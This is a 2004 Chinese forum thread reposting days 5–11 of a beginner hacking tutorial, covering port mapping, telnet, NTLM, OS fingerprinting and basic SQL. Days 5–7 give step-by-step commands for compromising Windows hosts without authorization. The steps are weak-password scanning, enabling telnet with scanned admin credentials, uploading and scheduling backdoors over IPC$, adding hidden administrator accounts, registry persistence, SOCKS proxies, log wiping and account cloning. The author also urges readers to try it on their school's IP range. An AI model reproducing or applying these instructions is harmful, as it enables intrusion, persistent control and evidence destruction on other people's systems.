删除为net.exe 创建的快捷方式,删除winnt\system32\logfiles下边的日志文件
其实不打补丁的管理员很多的,但一般高校的管理员都不呆的,但也有个别的,比如。。。(不说了,有人身攻击之嫌啊)
刚刚。突然断电了,有个朋友发了个短信给我说,你只说了怎么在局域网中用3389,但我发现了一个主机,不会用,就是说我不知道怎么用远程控制软件啊。关于这个问题哦,我想我只能明天说了。因为今天我有件关系我终身的大事要做(呵呵),明个见,今天学了这么多够你用一会了,凡事慢慢来嘛
【声明】你的博客网刊载此文并不代表同意其说法或描述,也不构成任何投资建议。转载请注明出处。
gunguymadman 回复于:2004-11-19 10:34:43
[ 作者:蓝色 转贴自:基尔网][第5天]从简单的网络命令讲起
发表:2004-4-8 12:45:31 未经作者同意不得转载!
--------------------------------------------------------------------------------
昨天的帖子发表后,很多朋友问了很多问题,我发现很多朋友对基本的网络命令还很生疏,请你看这个帖子,里面讲的很详细http://www.91one.net/dvbbs/dispbbs....D=14&ID=403
有个朋友问了我个问题:端口映射是什么意思??
其实很简单的,采用端口映射(Port Mapping)的方法,可以实现从Internet到局域网内部机器的特定端口服务的访问。例如,你所使用的机子处于一个连接到Internet的局域网内,你在机子上所开的所有服务(如FTP),默认情况下外界是访问不了的。这是因为你机子的IP是局域网内部IP,而外界能访问的只有你所连接的服务器的IP,由于整个局域网在Internet上只有一个真正的IP地址,而这个IP地址是属于局域网中服务器独有的。所以,外部的Internet登录时只可以找到局域网中的服务器,那你提供的服务当然是不起作用的。
所以解决这个问题的方法就是采用PM了。
有篇文章不错。大家看看http://www.pconline.com.cn/pcedu/so...301/127157.html
继续讲,昨天有人说我找到个肉鸡,但不会用远程控制软件。先说用什么好呢
我推荐Remote Administrator,有篇介绍它的文章很好http://www.pcworld.com.cn/2002/back.../2205/0533e.asp
下载http://www.skycn.com/soft/15592.html
我想里面的说明你应该能很好理解的
现在我以一个例子来说一下怎么获得一个肉鸡,虽然前面一直在说,但好象有点乱的,下面说的这个有点投机取巧的感觉,至少我这样觉得,不过因为很多朋友说都5天了,我什么都没搞到啊,所以只能。。
第一步:扫描弱口令
这里我用20cn开发的scanipc (这http://www.20nt.net/soft/list.asp?t...;page=2有下的)
不一会就会扫到很多有弱口令的主机
(你可以拿你们学校的IP试试)
这里我用opentelnet(远程启动TELNET的小东西,这里下:http://www.infosw.com/down/software...莟elnet连接上去
,开了23端口,并可以连接上的主机就不用进行次步骤了!
Opentelnet使用方法:
OpenTelnet.exe \\server <帐号>; <密码>; <NTLM认证方式>; <Telnet端口>;
列如:
C:\>;OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名:administrator 密码:123456
NTLM认证方式:1(也可以选择0请自己测试) 开的端口:90
运行完,如果屏幕上出现 Disconnecting server...Successfully! 就说明已经成功。
这样,我们就能够得到一个开90端口的Telnet服务器了。
Telnet 192.168.1.2 90
这样就可以登录上去了。
第三步:配置并安装后门程序
这里我选择WinShell(小巧精干我喜欢下载:http://www.hktk.com/soft/soft_server/winshell.html),用winshell主程序设置好后门,然后把后门程序传到台FTP空间上!
列如:
c:\>;ftp
ftp>;opehttp://www.cnwill.com/
然后输入用户名字 密码把后门传上去mput c:\cnwill.exe
现在我们登陆到肉鸡上 Telnet 192.168.1.2 90
把刚上传的后门程序下载并运行(别忘记删除 后门程序)
[后门也可以用net命令完成)见下面
net user \\192.168.1.2 90\ipc$ "" /user:"administrator"
[ 建 立 IPC$ 连 接 ]
copy d:\zilong.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里]
copy d:\long.exe \\192.168.1.2 90\admin$\system32
[上 传 一 个 删 除 日 志 程 序 到 对 方 的 主 机 里]
copy d:\scoks.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 SCOKS 代 理 程 序 到 对 方 的 主 机 里]
copy d:\zilong.reg \\192.168.1.2 90\admin$\system32
[上 传 导 入 注 册 表的 REG 文 件 到 对 方 的 主 机 里]请看后门说明
net time \\192.168.1.2 90
[ 得 到 对 方 主 机 的 当 前 时 间]
at \\192.168.1.2 90 13:20 zilong.exe
[用 a t命 令 执 行 我 们 的 后 门 程 序] 别 把 时 间 搞 错 了 哦
==============
如果大家用不习惯命令的话,那就用流光的IPC种植者吧,简单易用.这里就不赘述啦
=============
telnet 192.168.1.2 90
[ 从 我 们 设 置 的 后 门 程 序 登 陆 主 机 ]
net user **** /add
[近来后添加一个用户名再说或者也可以选择激活guest]
net localgroup administrators **** /add
[ 把 自 己 添 加 到 管 理 组 里,这 样 我 们 就 是 超 级 管 理 员 了]
regedit /s c:\winnt\system32\zilong.reg
[ 把 后 门 程 序 导 入 注 册 表 的 启 动 项]这样做是防止被别人停止我们
的后门服务程序,就算我们的后门服务程序被停止了,在主机重启动后我们的后门
服务就又继续运行了.
SOCKS -install
[ 开 始 安 装 socks 代 理]
SCOKS -config starttype 2
[ 使 SOCKS 代 理 程 序 自 动 运 行,不 怕 肉 鸡 再 重 启 了]
socks -config port 1080
[ socks 代 理 端 口 设 置 为 1080 ]
net start skserver
[ 启 动 SOCKS 代 理 服 务 ]可以打开QQ设置IP代理了
long
[ 刚 才 上 传 的 一 个 删 除 日 志 程 序,运 行 它 就 可 以 了]
【声明】你的博客网刊载此文并不代表同意其说法或描述,也不构成任何投资建议。转载请注明出处。
gunguymadman 回复于:2004-11-19 10:35:59
[ 作者:蓝色 转贴自:基尔网】
[第6天]从telnet讲起
发表:2004-4-8 12:46:33 未经作者同意不得转载!
--------------------------------------------------------------------------------
前2天我说到过telnet,好象很多朋友不太明白,也不会用,我想这主要是因为你的命令掌握不太牢*啊,我今天就把telnet详细讲一遍,再说一些简单的网络相关命令
先说telnet,什么是telnet?Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么什么是远程登录?
我想这个大家都明白一点,定义:远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;
3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
再说一下什么叫Telnet协议?简单点说Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:
1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;
2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;
3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。
关于这个就说这么多了,至于其他的一些就不说了,因为没什么帮助对我门,如果你有兴趣,可以去本站查查相关资料
再说说Win2000的Telnet服务,因为大部分服务器用的都是2000的
Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。 其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。
Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:
AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。
DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。
TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。
以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1
2 NTLM
提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?
早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:
1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。
由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:
1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678
2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别
3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>;
\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫
所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:
1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP>; <管理员用户名>; <密码>; <验证方式>; <tlnet端口>;
那telnet上去后不知道该做什么了?很多朋友这样问了,我想如果你是从第1天看的,应该知道吧,我就再说说吧
1 查看系统信息
呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。
2 使用tftp传送文件
想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell(这个前面已经很详细的说过了)们可以用TFPT命令来完成这一切,什么是TFTP呢?
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>;tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)
需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。
3 安置后门
如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧
这个问题我在前面有讲过一点,但不详细.用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:(这是一个前辈写的我copy一下,很中肯的)
1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。
2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。
不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似’hacking’的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。
4 打补丁
如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。
5 清除日志
可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。(上一篇我讲过一点)
好了,基本上就这么多了,今天就到这了,希望能给大家一些帮助
【声明】你的博客网刊载此文并不代表同意其说法或描述,也不构成任何投资建议。转载请注明出处。
gunguymadman 回复于:2004-11-19 10:36:59
[ 作者:蓝色 转贴自:基尔网】
[第7天]继续讲,从克隆帐号 讲起
发表:2004-4-8 12:48:03 未经作者同意不得转载!
--------------------------------------------------------------------------------
前2天基本的一些东西都讲过了,今天我觉得得把克隆帐号这个问题讲清楚了
什么叫克隆帐号 ?
前辈说:在注册表中有两处保存了帐号的SID相对标志符,一处是SAM\Domains\Account \Users下的子键名,另一处是该子键的子项F的值中。这里微软犯了个不同步它们的错误,登陆时用的是后者,查询时用前者。当用admin的F项覆盖其他帐号的F项后,就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。(我想这个很明白的,如果还有这个问题,你去网络技术版块问吧)
说到克垄帐号就得说说SAM安全帐号管理器,详细的我就不重复了,因为呢多前辈写了很多很棒的文章,大家有兴趣就看看http://www.51chongdian.com/Article_...sp?ArticleID=77
明白原理后就可以手动或者用现成的工具克隆帐号,用什么呢?
克隆ca.exe 下载(找了许久 啊http://www.hejie.net/xz/list.asp?id=926
注意手动克隆需要SYSTEM权限(这句话大家应该能明白吧)
用什么呢?psu.exe
还是很棒的,下www.sometips.com/soft/psu.exe
这里推荐一个网站,很好的,不是E文的,你看下去就知道http://www.sometips.com/
今天就说到这,虽然字不多,但我想有你忙一阵子了
gunguymadman 回复于:2004-11-19 10:38:11
[第8天]从回答一个朋友的问题说起
更正:本文原作者为基尔动静论坛 蓝色,从第8天起转自基尔动静论坛(www.91one.net)
[第8天]从回答一个朋友的问题说起
有个朋友发了短信给我问怎么判断对方主机的操作系统呢?今天我们就先说说这个问题。我先从最简单的PING看主机操作系统说起
一、用ping来识别操作系统
C:\>;ping 10.1.1.2
Pinging 10.1.1.2 with 32 bytes of data:
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Ping statistics for 10.1.1.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>;
C:\>;ping 10.1.1.6
Pinging 10.1.1.6 with 32 bytes of data:
Request timed out.
Reply from 10.1.1.6: bytes=32 time=250ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Ping statistics for 10.1.1.6:
Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:
Minimum = 234ms, Maximum = 250ms, Average = 179ms
我们跟据ICMP报文的TTL的值,我们就可以大概知道主机的类型。如:TTL=125左右的主机应该是windows系列的机子,TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子,10.1.1.2就是win2000的机子,而10.1.1.6则是UINX(Sunos 5.8)的机子。这是因为不同操作系统的机子对ICMP报文的处理与应答是有所不同的,TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与操作系统类型的对应,还要*大家平时多注意观察和积累。
二、直接通过联接端口根据其返回的信息来判操作系统
这种方法应该说是用得最多的一种方法,下面我们来看几个实例。
1、如果机子开了80端口,我们可以telnet它的80端口。
C:\>;telnet 10.1.1.2 80
输入get 回车(注意这里是盲打)
如果返回,
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 11 Jul 2003 02:31:55 GMT
Content-Type: text/html
Content-Length: 87
<html>;<head>;<title>;Error</title>;</head>;<body>;The parameter is incorrect. </body>;
</html>;
遗失对主机的连接。
C:\>;
那么这台就肯定是windows的机子。
如果返回,
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">; <HTML>;<HEAD>; <TITLE>;501 Method
Not Implemented</TITLE>; </HEAD>;<BODY>; <H1>;Method Not Implemented</H1>; get to / not
supported.<P>; Invalid method in request get<P>;<HR>; <ADDRESS>;Apache/1.3.27 Server at gosiuniversity.com Port 80</ADDRESS>;
</BODY>;</HTML>;
遗失对主机的连接。
C:\>;
那么多数就是UINX系统的机子了。
2、如果机子开了21端口,我们可以直接FTP上去
C:\>;ftp 10.1.1.2
如果返回,
Connected to 10.1.1.2.
220 sgyyq-c43s950 Microsoft FTP Service (Version 5.0).
User (10.1.1.2none)):
那么这就肯定是一台win2000的机子了,我们还可以知道主机名呢,主机名就是sgyyq-c43s950。这个FTP是windows的IIS自带的一个FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 Serv-U FTP Server v4.0 for WinSock ready...
User (10.1.1.3none)):
也可以肯定它是windows的机子,因为Serv-U FTP是一个专为windows平台开发的FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 ready, dude (vsFTPd 1.1.0: beat me, break me)
User (10.1.1.3none)):
那么这就是一台UINX的机子了。
3、如果开了23端口,这个就简单了,直接telnet上去。
如果返回,
Microsoft & Windows ™ Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
那么这肯定是一台windows的机子了
如果返回,
SunOS 5.8
login:
不用说了,这当然是一台UINX的机子了,并且版本是SunOS 5.8的。
三、利用专门的软件来识别
这种有识别操作系统功能的软件,多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时,TCP/IP协议虽然是统一的,但对TCP/IP协议栈是没有做统一的规定的,厂家可以按自己的要求来编写TCP/IP协议栈,从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统,只要建立起协议栈与操作系统对应的数据库,我们就可以准确的识别操作系统了。
下面是简单介绍两款有识别功能的软件,具体用法我就不说,你可以到网上去找找相应软件的说明使用
一是nmap,下载地址:http://www.linuxeden.com/download/i...egory=syssecure 它采用的是主动式探测,探测时会主动向目标系统发送探测包,根据目标目标机回应的数据包来,叛断对方机的操作系统。
2、 天眼,采用的是被动式的探测方法。不向目标系统发送数据包,只是被动地探测网络上的通信数据,通过分析这些数据来判断操作系统的类型。配合supersan使用,较果很好。
下载地址 http://www.xfocus.net/tools/200206/天眼1.0.5.zip
我想这对新手很有帮助的,高手或许有更好的,但我只能想出这几种了,有谁有更好的办法记得告诉我
今天因为时间很紧就先说这么多,大家如果有哦什么问题,请用论坛短信的方式告诉我,注意现在很多主机是防火墙配合杀毒软件使用的,所以ICMP报文有时不会出来,这时建议大家用相关软件最好当然是nmap了
想插一句很多新手不太会用nmap,好象不是很好用,不是傻瓜软件,但我希望大家都能在这上面下点工夫哦,因为这个软件很重要,很重要的
偶插一句,因为技术在进步,防火墙和路由器有时候对于我们来说很讨厌的PING回来 的数据,来认系统会有很大误差,推荐用软件来测
gunguymadman 回复于:2004-11-19 10:42:31
发帖不成功:您的帖子中有论坛禁止发表的词汇或内容!
请检查后再重发,谢谢合作!2 ft 什么事啊 都
gunguymadman 回复于:2004-11-19 10:51:50
ft 先越过去了 贴不上来
『第10天』说SQL
先说说什么叫SQL?大家反正都觉得这SQL和数据库有关,其实也不是这样的。SQL是一种结构化数据库查询语言,其发音为“sequel”或“S-Q-L”。尽管MICROSOFT以其特有的方式加入了所有权声明,但它在大多数据库应用中近乎成为一种标准。简言之,它是一种使用你选择的标准从数据库记录中选择某些记录的方法。
因为它的重要所以我将会花一定的时间来讲它,前面的东西大家不说可能用这就会了,但这个一定要仔细的说。先回答大家一个疑问,学了SQL有什么用呢?现在常用的数据库软件是ms-sql,一般的服务器上都由它提供数据库服务,但哟于具有管理权限的帐号SA的默认密码是空的,且低版本的SQL由漏洞能直接获得密码。所以它也成为入侵的一种捷径(如果由漏洞的话)。介绍个软件MS-SOL Brower(SQL远程入侵软件),以后会由用的。
在使用它时,只需要发出“做什么”的 命令,“怎么做”是不用使用者考虑的。
SQL数据库数据体系结构
SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。
在SQL中,关系模式(模式)称为“基本表”(base table);存储模式(内模式)称为“存
储文件”(stored file);子模式(外模式)称为“视图”(view);元组称为“行”(row)
;属性称为“列”(column)。名称对称如^00100009a^:
SQL语言的组成
在正式学习SQL语言之前,首先让我们对SQL语言有一个基本认识,介绍一下SQL语言的
组成:
1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。
2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项。
3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图
是由若干基本表或其他视图构成的表的定义。
4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。
每个存储文件与外部存储上一个物理文件对应。
5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本
表是一样的,没有区别,都是关系(表格)。
6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使
用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独
立的用户接口,供交互环境下的终端用户使用。
(这个内容好像很难懂,大家如果实在不行,了解就行了)
对数据库进行操作
SQL包括了所有对数据库的操作,主要是由4个部分组成:
1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据
库、基本表、视图和索引4部分。
2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操
作,其中数据更新又包括插入、删除和更新三种操作。
3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务
控制语句等。
4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则
下面我们就 简单介绍一下数据定义
SQL数据定义功能包括定义数据库、基本表、索引和视图。
首先,让我们了解一下SQL所提供的基本数据类型:(如^00100009b^)
1.数据库的建立与删除
(1)建立数据库:数据库是一个包括了多个基本表的数据集,其语句格式为:
CREATE DATABASE <数据库名>; [其它参数]
其中,<数据库名>;在系统中必须是唯一的,不能重复,不然将导致数据存取失误。[其
它参数]因具体数据库实现系统不同而异。
例:要建立项目管理数据库(xmmanage),其语句应为:
CREATE DATABASE xmmanage
(2) 数据库的删除:将数据库及其全部内容从系统中删除。
其语句格式为:DROP DATABASE <数据库名>;
例:删除项目管理数据库(xmmanage),其语句应为:
DROP DATABASE xmmanage
2.基本表的定义及变更
本身独立存在的表称为基本表,在SQL语言中一个关系唯一对应一个基本表。基本表的
定义指建立基本关系模式,而变更则是指对数据库中已存在的基本表进行删除与修改。
(1)基本表的定义:基本表是非导出关系,其定义涉及表名、列名及数据类型等,其语
句格式为:
CREATE TABLE[<数据库名>;.]<表名>;
(<列名>; 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名>; 数据类型 [缺省值] [NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......)REFERENCE <表名>;(列名[,列名]
......)]
[,CHECK(条件)] [其它参数])
其中,〈数据库名〉.]指出将新建立的表存放于该数据库中;
新建的表由两部分组成:其一为表和一组列名,其二是实际存放的数据(即可在定义表
的同时,直接存放数据到表中);
列名为用户自定义的易于理解的名称,列名中不能使用空格;
数据类型为上面所介绍的几种标准数据类型;
[NOT NULL/NULL]指出该列是否允许存放空值,SQL语言支持空值的概念,所谓空值是
“不知道”或“无意义”的值,值得注意的是数据“0”和空格都不是空值,系统一般
默认允许为空值,所以当不允许为空值时,必须明确使用NOT NULL;
[,UNIQUE]将列按照其规定的顺序进行排列,如不指定排列顺序,则按列的定义顺序
排列;
[PRIMARY KEY]用于指定表的主键(即关系中的主属性),实体完整性约束条件规定:
主键必须是唯一的,非空的;
[,FOREIGN KEY (列名[,列名]......) REFERENCE<表名>;(列名[,列名]
......)]是用于指定外键参照完整性约束条件,FOREIGN KEY指定相关列为外键,其参
照对象为另外一个表的指定列,即使用REFERENCE引入的外表中的列,当不指定外表列
名时,系统将默认其列名与参照键的列名相同,要注意的是:使用外键时必须使用参
照,另外数据的外键参照完整性约束条件规定:外键的值要么与相对应的主键相同,要
么为空值(具体由实现系统不同而异)
[,CHECK]用于使用指定条件对存入表中的数据进行检查,以确定其合法性,提高数
据的安全性。
2)基本表的删除:用以从数据库中删除一个基本表及其全部内容,其语句格式为:
DROP TABLE[<数据库名>;.]表名
(3)基本表的修改:在基本表建立并使用一段时间后,可能需要根据实际要求对基本表
的结构进行修改,即增加新的属性或删除属性。
增加属性的语句格式为:
ALTER TABLE [<数据库名>;.]表名 ADD
(<列名>; 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名>; 数据类型[缺省值][NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......) REFERENCE <表名>;(列名[,列名]
......)]
[,CHECK(条件)][其它参数])
例如:在基本表student中加入列stborn出生日期,数据类型为DATE,且不能为空值
ALTER TABLE student ADD (stborn DATE NOT NULL)
删除属性的语句格式为:
ALTER TABLE [<数据库名>;.]表名 DROP
( <列名>; 数据类型 [缺省值][NOT NULL / NULL]
[,<列名>; 数据类型 [缺省值][NOT NULL / NULL]]......)
3.视图定义与删除
在SQL中,视图是外模式一级数据结构的基本单位。它是从一个或几个基本表中导出的
表,是从现有基本表中抽取若干子集组成用户的“专用表”。这种构造方式必须使用
SQL中的SELECT语句来实现。在定义一个视图时,只是把其定义存放在系统的数据中,
而并不直接存储视图对应的数据,直到用户使用视图时才去求得对应的数据。
(1)视图的定义:定义视图可以使用CREATE VIEW语句实现,其语句格式为:
CREATE VIEW 视图名 AS SELECT语句
(2)视图的删除:用于删除已不再使用的视图,其语句格式如下: DROP VIEW 视图名
数据控制
由于数据库管理系统是一个多用户系统,为了控制用户对数据的存取权利,保持数据的
共享及完全性,SQL语言提供了一系列的数据控制功能。其中,主要包括安全性控制、
完整性控制、事务控制和并发控制。这个我就不详细说明了,大家如果有兴趣可以参阅相关书籍
大概需要掌握的SQL基本类容就是这样,因为里面涉及到一些语法和语言,如果你没有一点语言基础的我想会很困难的,我只能建议你去至少看看C语言。明天我们将开始讲MY-SQL
gunguymadman 回复于:2004-11-19 10:54:32
[第11天]mySQL简单介绍
